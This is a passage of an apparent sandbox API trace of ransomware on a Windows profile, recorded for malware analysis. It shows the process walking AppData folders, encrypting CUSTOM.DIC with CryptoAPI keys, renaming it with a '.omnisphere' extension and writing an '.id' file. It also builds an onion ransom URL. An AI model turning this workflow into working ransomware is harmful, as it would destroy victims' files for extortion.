ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0072, dwReserved1=0x2a, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0117.938] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0072, dwReserved1=0x2a, cFileName="..", cAlternateFileName="")) returned 1 [0117.938] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0072, dwReserved1=0x2a, cFileName="1033", cAlternateFileName="")) returned 1 [0117.938] GetProcessHeap () returned 0x1600000 [0117.938] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c938 [0117.938] PathCombineW (in: pszDest=0x162c938, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes", pszFile="1033" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033" [0117.938] GetProcessHeap () returned 0x1600000 [0117.938] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xcc) returned 0x16241b0 [0117.938] PathCombineW (in: pszDest=0x16241b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*" [0117.938] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*", lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xad, cFileName=".", cAlternateFileName="")) returned 0x16397a8 [0117.938] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xad, cFileName="..", cAlternateFileName="")) returned 1 [0117.938] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xad, cFileName="..", cAlternateFileName="")) returned 0 [0117.939] FindClose (in: hFindFile=0x16397a8 | out: hFindFile=0x16397a8) returned 1 [0117.939] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*", lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x1639b68 [0117.939] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 1 [0117.939] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 0 [0117.939] FindClose (in: hFindFile=0x1639b68 | out: hFindFile=0x1639b68) returned 1 [0117.939] GetProcessHeap () returned 0x1600000 [0117.939] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16241b0 | out: hHeap=0x1600000) returned 1 [0117.939] GetProcessHeap () returned 0x1600000 [0117.939] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c938 | out: hHeap=0x1600000) returned 1 [0117.939] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0072, dwReserved1=0x2a, cFileName="1033", cAlternateFileName="")) returned 0 [0117.939] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0117.939] GetProcessHeap () returned 0x1600000 [0117.939] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162bc38 | out: hHeap=0x1600000) returned 1 [0117.939] GetProcessHeap () returned 0x1600000 [0117.939] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16415f0 | out: hHeap=0x1600000) returned 1 [0117.939] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes", cAlternateFileName="DOCUME~1")) returned 0 [0117.939] FindClose (in: hFindFile=0x16395e8 | out: hFindFile=0x16395e8) returned 1 [0117.940] GetProcessHeap () returned 0x1600000 [0117.940] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0117.940] GetProcessHeap () returned 0x1600000 [0117.940] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656f58 | out: hHeap=0x1600000) returned 1 [0117.940] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 0 [0117.940] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0117.940] GetProcessHeap () returned 0x1600000 [0117.940] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165ecc8 | out: hHeap=0x1600000) returned 1 [0117.940] GetProcessHeap () returned 0x1600000 [0117.940] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e688 | out: hHeap=0x1600000) returned 1 [0117.940] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0117.940] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0117.940] GetProcessHeap () returned 0x1600000 [0117.940] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e548 | out: hHeap=0x1600000) returned 1 [0117.940] GetProcessHeap () returned 0x1600000 [0117.940] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b578 | out: hHeap=0x1600000) returned 1 [0117.940] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1594be7a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1594be7a, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2749a360, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4b29, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Normal.dotm.omnisphere", cAlternateFileName="NORMAL~1.OMN")) returned 1 [0117.940] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2749a360, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2749a360, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2749a360, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Normal.dotm.omnisphere.id", cAlternateFileName="NORMAL~1.ID")) returned 1 [0117.940] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2744dd39, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2744dd39, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2763dc65, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0117.940] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacac166f, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xacac166f, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x276178e5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x792f6, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Welcome to Excel.xltx.omnisphere", cAlternateFileName="WELCOM~1.OMN")) returned 1 [0117.940] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276178e5, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x276178e5, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x276178e5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Welcome to Excel.xltx.omnisphere.id", cAlternateFileName="WELCOM~1.ID")) returned 1 [0117.940] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276178e5, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x276178e5, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x276178e5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Welcome to Excel.xltx.omnisphere.id", cAlternateFileName="WELCOM~1.ID")) returned 0 [0117.940] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0117.941] GetProcessHeap () returned 0x1600000 [0117.941] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1668570 | out: hHeap=0x1600000) returned 1 [0117.941] GetProcessHeap () returned 0x1600000 [0117.941] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163ff80 | out: hHeap=0x1600000) returned 1 [0117.941] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed4f486b, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xed4f486b, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xed4f486b, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UProof", cAlternateFileName="")) returned 1 [0117.941] GetProcessHeap () returned 0x1600000 [0117.941] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x70) returned 0x1606e38 [0117.941] PathCombineW (in: pszDest=0x1606e38, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="UProof" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof" [0117.941] GetProcessHeap () returned 0x1600000 [0117.941] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x1640080 [0117.941] PathCombineW (in: pszDest=0x1640080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\*" [0117.941] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed4f486b, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xed4f486b, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xed4f486b, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0117.942] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed4f486b, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xed4f486b, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xed4f486b, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0117.942] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed4f486b, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xed4f486b, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xed4f486b, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x12, dwReserved0=0x0, dwReserved1=0xdb, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 1 [0117.942] GetProcessHeap () returned 0x1600000 [0117.942] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x86) returned 0x16337f8 [0117.942] PathCombineW (in: pszDest=0x16337f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof", pszFile="CUSTOM.DIC" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" [0117.942] StrStrW (lpFirst=".omnisphere", lpSrch=".DIC") returned 0x0 [0117.942] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\uproof\\custom.dic"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0117.942] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0dcc8 | out: lpFileSize=0x3e0dcc8*=18) returned 1 [0117.942] GetTickCount () returned 0x115d7af [0117.942] GetTickCount () returned 0x115d7af [0117.942] GetTickCount () returned 0x115d7af [0117.942] GetTickCount () returned 0x115d7af [0117.942] GetTickCount () returned 0x115d7af [0117.942] GetTickCount () returned 0x115d7af [0117.942] GetTickCount () returned 0x115d7af [0117.942] GetTickCount () returned 0x115d7af [0117.942] GetTickCount () returned 0x115d7af [0117.942] GetTickCount () returned 0x115d7af [0117.942] GetTickCount () returned 0x115d7af [0117.942] GetTickCount () returned 0x115d7af [0117.942] GetTickCount () returned 0x115d7af [0117.942] GetTickCount () returned 0x115d7af [0117.942] GetTickCount () returned 0x115d7af [0117.942] GetTickCount () returned 0x115d7af [0117.943] GetTickCount () returned 0x115d7af [0117.943] GetTickCount () returned 0x115d7af [0117.943] GetTickCount () returned 0x115d7af [0117.943] GetTickCount () returned 0x115d7af [0117.943] GetTickCount () returned 0x115d7af [0117.943] GetTickCount () returned 0x115d7af [0117.943] GetTickCount () returned 0x115d7af [0117.943] GetTickCount () returned 0x115d7af [0117.943] GetTickCount () returned 0x115d7af [0117.943] GetTickCount () returned 0x115d7af [0117.943] GetTickCount () returned 0x115d7af [0117.943] GetTickCount () returned 0x115d7af [0117.943] GetTickCount () returned 0x115d7af [0117.943] GetTickCount () returned 0x115d7af [0117.943] GetTickCount () returned 0x115d7af [0117.943] GetTickCount () returned 0x115d7af [0117.943] CryptAcquireContextW (in: phProv=0x3e0d750, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d750*=0x16683d8) returned 1 [0117.944] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d6b8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d75c | out: phKey=0x3e0d75c*=0x1639528) returned 1 [0117.944] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x75, dwBufLen=0x80 | out: pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x80) returned 1 [0117.944] CryptDestroyKey (hKey=0x1639528) returned 1 [0117.944] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0117.944] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12, lpName=0x0) returned 0x28c [0117.944] MapViewOfFile (hFileMappingObject=0x28c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12) returned 0x1480000 [0117.944] CryptAcquireContextW (in: phProv=0x3e0d740, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d740*=0x16688a0) returned 1 [0117.945] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d6f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d750 | out: phKey=0x3e0d750*=0x1639b68) returned 1 [0117.945] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d734*=0x2, dwFlags=0x0) returned 1 [0117.945] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10) returned 1 [0117.945] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.945] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.945] CryptDestroyKey (hKey=0x1639b68) returned 1 [0117.945] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0117.945] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x12, lpNewFilePointer=0x0, dwMoveMethod=0x3e0dcbc | out: lpNewFilePointer=0x0) returned 1 [0117.945] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0dcd0, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0dcd0*=0x524, lpOverlapped=0x0) returned 1 [0117.946] GetProcessHeap () returned 0x1600000 [0117.947] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x296) returned 0x169e368 [0117.947] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\uproof\\custom.dic"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\uproof\\custom.dic.omnisphere")) returned 1 [0117.948] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC.omnisphere.id" [0117.948] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\uproof\\custom.dic.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0117.949] WriteFile (in: hFile=0x288, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d758, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0d758*=0x524, lpOverlapped=0x0) returned 1 [0117.950] CloseHandle (hObject=0x288) returned 1 [0117.950] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0117.951] CloseHandle (hObject=0x28c) returned 1 [0117.951] SetEndOfFile (hFile=0x3a0) returned 1 [0117.951] FlushFileBuffers (hFile=0x3a0) returned 1 [0117.953] CloseHandle (hObject=0x3a0) returned 1 [0117.953] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\UProof") returned 1 [0117.953] GetProcessHeap () returned 0x1600000 [0117.954] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x169e608 [0117.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0117.954] GetProcessHeap () returned 0x1600000 [0117.954] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693b70 [0117.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693b70, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0117.954] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0117.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0117.954] GetProcessHeap () returned 0x1600000 [0117.954] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, 